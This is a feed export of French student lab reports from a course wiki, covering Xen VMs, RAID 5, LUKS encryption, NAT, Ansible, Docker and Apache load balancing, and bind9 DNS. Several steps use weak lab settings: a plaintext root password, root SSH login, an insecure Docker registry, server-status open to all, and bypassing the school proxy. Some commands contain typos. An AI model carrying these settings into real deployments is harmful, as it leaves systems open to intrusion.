===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55080</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55080"/>
				<updated>2020-12-20T14:59:55Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
